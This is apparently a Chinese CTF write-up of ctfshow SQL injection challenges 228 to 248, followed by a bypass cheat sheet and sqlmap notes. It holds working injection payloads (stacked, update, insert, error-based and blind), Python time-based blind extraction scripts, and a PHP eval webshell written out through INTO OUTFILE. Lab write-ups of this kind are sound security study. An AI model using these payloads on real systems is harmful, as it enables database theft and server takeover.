username=1';prepare yu from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute yu;#

web 228-230

额,代码给得比较玄乎,换句话说就是,把过滤了的关键字函数放到了数据库里面。没有给到页面上。

16进制yyds

?username=';prepare yu from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;execute yu;#

web 231——update

真的有点恼火,就是有点找不到他这个提交参数的位置在什么地方,和提交什么参数

整了很久终于整出来了

先来一手

能够修改成功,于是就可以通过username来修改值了

查询表名
password=456',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=4
查询列名
password=456',username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flaga')#&username=4
查询数据
password=456',username=(select group_concat(flagas) from flaga)#&username=4

web 232

与231相同

查数据
password=456'),username=(select group_concat(flagass) from flagaa)#&username=4

web 233——update盲注

唔,,,为啥又不行了呢?看了Y4大佬博客,说的是要盲注,并且看了代码,唔,太顶了,万物杰克盲注

import requests
import time url='http://f7408426-79c8-48e4-96b5-b07e3e905684.challenge.ctf.show:8080/api/' re=""
# 查数据
# payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
# 查列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'"
payload = "select flagass233 from flag233333" while True:
for i in range(3,50):
head=32
tail=127 while head<tail:
# time.sleep(1)
mid=(head+tail)>>1
data={
'password':'1',
'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),0)#"
# 'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#"
# 'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#",
}
try:
r=requests.post(url=url,data=data,timeout=0.9)
tail=mid
print("[-]:",data['username'])
except Exception as e:
head=mid+1
print("[+]:",data['username']) if head!=32:
re+=chr(head)
print(re)
print("[*]:",data['username'])

web 234——update,过滤quote——\逃逸

额,说的是没过滤,看了Y4大佬wp,原来题目将单引号给过滤了,妙啊妙啊

这题可以用\将查询语句中的单引号过滤掉。原来的语句

$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

但是传入单引号后

$sql = "update ctfshow_user set pass = '\' where username = 'username';";

这样pass里面的内容就是' where username =,接下来username里面的参数就是可以控制的了

看一眼payload就知道了

查表名
username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&password=qwer123456\
查列名(双引号代替单引号)
username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag23a")#&password=qwer123456\
查列名(16进制编码)
username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c6167323361)#&password=qwer123456\
查数据
username=,username=(select group_concat(flagass23s3) from flag23a)#&password=qwer123456\

web 235——过滤information_schema

[mysql统计信息,表的信息,类似information_schema](概述MySQL统计信息_Mysql_脚本之家 (jb51.net))

CTF|mysql之无列名注入 - 知乎 (zhihu.com)

查表名
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
查数据——组合
password=\&username=,username=(select concat(`1`,0x2d,`2`,`3`) from (select 1,2,3 union select * from flag23a1 limit 1,1)a);#
查数据——重命名,当`被过滤的时候
password=\
&username=,username=(select `b` from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a);#

web 236——update,过滤flag—to_base64

查表名
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
查数据——组合
password=\&username=,username=(select concat(`1`,0x2d,`2`,0x2d,`3`) from (select 1,2,3 union select * from flaga limit 1,1)a);#

???不是说的过滤了flag吗?有点没懂过滤时在什么地方

看了Y4大佬的博客,看到将查询值to_base64了

"""
Author:Y4tacker
"""
# username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())-- - &password=\
# username=,username=(select to_base64(b) from (select 1,2 as b,3 union select * from flaga limit 1,1)a)-- - &password=\

那么盲猜是对查询的结果进行了过滤,感觉以前的题目flag是flag{xxxx}的形式,现在是ctfshow{}。所以就直接绕过了

web 237——insert

额,这里就是直接点的添加,在弹出来的窗口中查询的

在添加数据的时候进行注入

查表名
username=wsnd',(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()));#
password=1
查数据——无列名查询
wsnd',(select b from (select 1,2 as b,3 union select * from flag limit 1,1)a));#

web 238——insert过滤空格

可以用括号包围;先贴一个查询语句,免得下次看的时候以为多加了一个)

查表名
username=wsnd',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#
password=1

妙啊,过滤*,所以只能用常规方式了,其实于是不能用无列名查询,只是太麻烦了

查列名
username=wsnd',(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flagb')));#
password=1
查数据
username=wsnd',(select(group_concat(flag))from(flagb)));#
password=1

web 239——insert

过滤了空格和or

用上题目试试,插入失败,盲猜过滤了单引号

果然是过滤了,唔,

还是不行,?难倒不止过滤了单引号?或者是过滤了其它的

唔,原来是过滤了information_schema,用mysql.innodb_table_stats代替

查表名
username=wsnd',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())))#
&password=2
查数据——别问,问就是猜(爆破)出来的(看下面)
wsnd',(select(flag)from(flagbb)));#

看见群里有师傅在问列名是怎么出来的。然后看到一个感觉可以用二分法猜,当时没有电脑,而且外卖刚刚到,就没验证。

验证之后发现:

二分法不行,只能够直接爆破(本质还是才出来的),好在数据库表名都只能小写(其实还是很多情况),这里就只演示一下用burp爆破出来的吧(我的代码能力太弱了,一直找不到时间练习)

爆(猜)表名

已知了列名,并且知道注入姿势

接下来:

burp抓包:

设置payload:

开始爆破,同时不断刷新页面,因为返回值解码后都是插入成功,所以没有办法通过length判断flag是否出来

注意:只有正确(数据库中存在)的列名查询出结果后才会添加到列表中,数据没有的列名查不出数据,其结果为空,不会添加到列表中

当跑到这里2000左右的时候出来了flag

brup大概就这么做的;

如果是写代码的话,大概要写两个进程,一个进程用来一直爆破列名,一个进程隔几秒检测一下页面是否有flag。感觉起码得有个什么半个多小时吧。主要俺不会写代码,俺也不知道具体多久。大概要跑1679616条数据。

web 240

唔,额,看了下题和提示,直接放弃,

不用想都知道没法查表名了,而且也不知道列名,,,,

看了看Y4大佬博客,大佬的意思是,列名就是flag,爆破表名就行,

唔,于是大佬写了一个pyhton脚本,额,我这里就用bp了,我比较喜欢用bp,代码写得太烂了

回来刷新一下

贴一下Y4大佬的代码

"""
Author:Y4tacker
"""
import random
import requests url = "http://35963b4d-3501-4bf2-b888-668ad24e1bc5.chall.ctf.show"
url_insert = url + "/api/insert.php"
url_flag = url + "/api/?page=1&limit=1000" # 看命函数
def generate_random_str():
sttr = 'ab'
str_list = [random.choice(sttr) for i in range(5)]
random_str = ''.join(str_list)
return random_str while 1:
data = {
'username': f"1',(select(flag)from(flag{generate_random_str()})))#",
'password': ""
}
r = requests.post(url_insert, data=data)
r2 = requests.get(url_flag)
if "flag" in r2.text:
for i in r2.json()['data']:
if "flag" in i['pass']:
print(i['pass'])
break
break

web 241

我用的盲注的方法,只会盲注,顺带提一下,时间盲注,yyds,

时间盲注的sleep是sleep数据库

import requests
import time url="http://b28fa04e-5c97-4b65-80f6-ba4a535707a6.challenge.ctf.show:8080/api/delete.php" re="" payload="select database()"
payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
# payload="select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=''"
# payload="select group_concat() from " while True:
for i in range(1,60):
head=32
tail=127
while head<tail:
# time.sleep(1)
# 这个可以稍微设低一点,我主要是想跑一次对一次,不想跑第二次(当然事与愿违了)
mid=(head+tail)>>1
data={
'id':f"if((ascii(substr(({payload}),{i},1)))>{mid},3,sleep(0.05))"
}
try:
r=requests.post(url=url,data=data,timeout=0.9)
head=mid+1
print('[+]'+data['id'])
except Exception as e:
tail=mid
print('[-]'+data['id']) if head!=32:
re+=chr(head)
print(re)
print('[*]'+data['id'])

哇塞,真的想请教一下师傅们,这个超时时间哪么算,呜呜呜

有点出乎意料的是:一个id可以重复提交

web 242——给导入的文件加上内容

SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options] export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
] “OPTION”参数为可选参数选项,其可能的取值有: `FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。 `FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。 `FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。 `FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。 `LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。 `LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
payload

filename=yu.php'LINES STARTING BY "<?php eval($_POST[yu]);?>";#

web 243

过滤了php,可以利用文件包含的方式做题

由于是nginx的,所以先整一个auto_prepend_file=1.txt

接着1.txt中写入一句话木马

最后访问就行,但是,我做不出来,一直404,403,405。。。先去做一下244压压惊。

web 244

报错注入

测试
1' or extractvalue(rand(),concat(0x2c,(select database())));--+
查表名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(table_name)from information_schema.tables where table_schema=database())));--+
查列名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name='ctfshow_flag')));--+
查数据--1
1' or extractvalue(rand(),concat(0x2c,(select group_concat(flag)from ctfshow_flag)));--+
查数据--2
1' or extractvalue(rand(),concat(0x2c,substr((select group_concat(flag)from ctfshow_flag),20,42)));--+ 得到两个,凭借下 ctfshow{810c66fb-5e90-4066-b04f
90-4066-b04f-192b27564336}

从bit那里看到了点好东西,太顶了

1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)); 4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x; 5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c; 6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a)); 7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b)); 9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b)); 10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b)); 11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b)); 12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

web 245

唔,老老实实用extractvlue吧。。。

查表名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(table_name)from information_schema.tables where table_schema=database())));--+
查列名
1' or extractvalue(rand(),concat(0x2c,(select group_concat(column_name)from information_schema.columns where table_schema=database()and table_name='ctfshow_flagsa')));--+
查数据--1
1' or extractvalue(rand(),concat(0x2c,(select group_concat(flag1)from ctfshow_flagsa)));--+
查数据--2
1' or extractvalue(rand(),concat(0x2c,substr((select group_concat(flag1)from ctfshow_flagsa),20,42)));--+
flag 拼接
ctfshow{8fd8dcb4-e4fd-4ee9-99e9-06844817ecf3}
fd-4ee9-99e9-06844817ecf3}

web 246

从bit爷那里抄来的第一个报错方式可以用

查表名
1' and (select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);--+
查列名
1' and (select 1 from (select count(*),concat((select (column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flags" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a);--+
查数据
1' and (select 1 from (select count(*),concat((select flag2 from ctfshow_flags),floor(rand(0)*2))x from information_schema.tables group by x)a);--+

web 247

用floor代替ceil,马上两点了,有点昏了,是用ceil代替floor,bit爷太顶了

查表名
1' and (select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+
查列名
1' and (select 1 from (select count(*),concat((select (column_name) from information_schema.columns where table_schema=database() and table_name="ctfshow_flagsa" limit 1,1),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+
查数据
1' and (select 1 from (select count(*),concat((select `flag?` from ctfshow_flagsa),ceil(rand(0)*2))x from information_schema.tables group by x)a);--+

话说回来了,才注意到bit爷用的双注入,赶紧抄一波

' union select 1,count(*),concat((select `flag?` from ctfshow_flagsa limit 0,1),ceil(rand(0)*2))a from information_schema.columns group by a-- -

web 248

堆叠注入


额,查了一遍发现,flag?中是flag not here。

于是试了一手写入木马,结果不行;查询后发现,@@secure_file_priv: null就是不能写入文件

sql注入常见方法及udf提权_whojoe的博客-CSDN博客_udf注入

接着还是就不会了

CTFshow---WEB入门---(SQL注入)171-253 WP - Bit's Blog (xl-bit.cn)

过滤

1. 过滤关键字

  1. 大小写绕过 web 176

2.过滤空格

  1. 利用/**/绕过 web 177
  2. %09 %0a %0b %0c %0d绕过 web178
  3. 利用用括号包括表名,where语句等 web183 web 238

3.过滤where,ord,ascii等限定字符

  1. as +right join+substr(b.pass,1,1)regexp(char(46)) web 184
  2. web 192

4.过滤数字或者字符

情况1:查询结果对数字进行过滤:利用替代 web

情况2:payload对数字进行过滤:利用true相加构造数字 web185

5.md5加密

  1. [SQL绕过]md5($str,true)类型绕过----题目来源CTFSHOW---web9_Y4tacker的博客-CSDN博客](https://blog.csdn.net/solitudi/article/details/107813286?ops_request_misc={"request_id"%3A"160631731619195283021913"%2C"scm"%3A"20140713.130102334.pc_blog."}&request_id=160631731619195283021913&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_v2~rank_blog_default-1-107813286.pc_v2_rank_blog_default&utm_term=md5 _POST password ,true&spm=1018.2118.3001.4450) web 187

后缀

'
')
''
'')
"
")
"")

编码:

to_base64hex()
replace(to_base64(password),1,'testa')

replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(to_base64(password),2,'testb')
,3,'testc')
,4,'testd')
,5,'teste')
,6,'testf')
,7,'testg')
,8,'testh')
,9,'testi')
,0,'testj')
,1,'testa') Y3Rmc2hvd3syNmU1Zjk1My1lZDhiLTQ4NGEtYjE2Ny0wZjU3OTM1MmRkYmN9

新姿势:

  1. 利用正则表达式进行盲注
tableName=`ctfshow_user`where(`pass`regexp('a'))
web 183
  1. 利用正则实现where功能
tableName=ctfshow_user as a right join ctfshow_user as b on substr(b.pass,1,1)regexp(char(46))web 184
  1. 利用true相加得到指定数字
ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,true,true) regexp(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)))
web 185
  1. 对于只能够输入数字的位置,可以采用盲注
导入存在flag的文件并且对齐盲注
"if(ascii(substr(load_file('/var/www/html/api/index.php'),{0},1))>{1},0,1)".format(str(i), str(mid)
web 189
  1. 盲注可以直接用regexp进行匹配,不需要进行截断
admin' and if((select group_concat(f1ag)from ctfshow_flxg)regexp('ctfshow{da6fy'),1,0)=1#
web 193 web 194
  1. \逃逸
`$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";`
但是传入单引号后
`$sql = "update ctfshow_user set pass = '\' where username = 'username';";`
这样pass里面的内容就是' where username =,接下来username里面的参数就是可以控制的了
  1. 无列名查询
查数据——组合password=\&username=,username=(select concat(`1`,0x2d,`2`,`3`) from (select 1,2,3 union select * from flag23a1 limit 1,1)a);
#查数据——重命名,当`被过滤的时候password=\&username=,username=(select `b` from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a);#
web 235

sql 无列名注入_xiaolong22333的博客-CSDN博客

sqlmap

做一个简单的记录

--data="id=1"	直接触发POST传参
--headers=""
--method=""
--cookie="" "PHPSESSID=a8d127e.."

bit爷的报错注入

1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1)); 4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x; 5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c; 6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a)); 7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b)); 9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b)); 10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b)); 11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b)); 12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));

看过的博客

前女友发来加密的 “520快乐.pdf“,我用python破解开之后,却发现。。。_lexsaints-CSDN博客

前女友婚礼,python破解婚礼现场的WIFI,把名称改成了_lexsaints-CSDN博客

ctf php sql注入,CTFshow-WEB入门-SQL注入(下)(持续更新)_itwebber的博客-CSDN博客

CTFshow-WEB入门-SQL注入(中)_feng的博客-CSDN博客

MySQL——查看存储过程和函数_时光·漫步的博客-CSDN博客_mysql查看函数命令

概述MySQL统计信息_Mysql_脚本之家 (jb51.net)

CTF|mysql之无列名注入 - 知乎 (zhihu.com)

sql 无列名注入_xiaolong22333的博客-CSDN博客太顶了,又学习了

sql注入常见方法及udf提权_whojoe的博客-CSDN博客_udf注入师傅们顶呱呱

感受:

各种大佬们太顶了太顶了,师傅们顶瓜瓜。

猫猫真可爱,我是真的菜

最新文章

  1. Android开发--仿微信语音对讲录音
  2. 微信公共平台开发-(.net实现)4--发送图文消息
  3. ElasticSearch之二——集群
  4. MongoDB3.0新特性
  5. STL UVA 11995 I Can Guess the Data Structure!
  6. NSRunLoop概述和原理
  7. 安装SQLServer2005错误无法在com+目录中安装和配置程序集
  8. Ajax中解析Json的两种方法详解
  9. svn 上传 过滤
  10. ViewPager的用法和实现过程
  11. android json 解析 简单示例
  12. String类的常见面试题(3)
  13. CentOS7源码升级OpenSSL和OpenSSH
  14. 比例尺与DEM空间分辨率
  15. zookeeper和dubbo的关系
  16. LocalStorage的一些使用
  17. 【Redis】Redis学习(五) Redis cluster模式详解
  18. 第10月第4天 Mac g++ sfml opendir
  19. web界面设计
  20. sql server 递归汇总 按指定层级汇总

热门文章

  1. 重学c#系列——订阅发布与事件[二十六]
  2. 关于 Windows6.1-KB2999226-x64.msu 此更新不适用你的计算机解决办法
  3. linux全新机器环境搭建流程梳理
  4. Kettle:跨库(SQLServer-&gt;PostgreSQL)同步多张表数据的详细设计过程
  5. 【Java SE进阶】Day09 字节流、字符流、I/O操作、属性集
  6. 【Java EE】Day08 HTML&amp;CSS
  7. 干电池升压5V,功耗比较低
  8. jmeter 之 JSON 断言
  9. 详解Python当中的pip常用命令
  10. python3.10调用邮件SMTP报错: ssl.SSLError: [SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:997)解决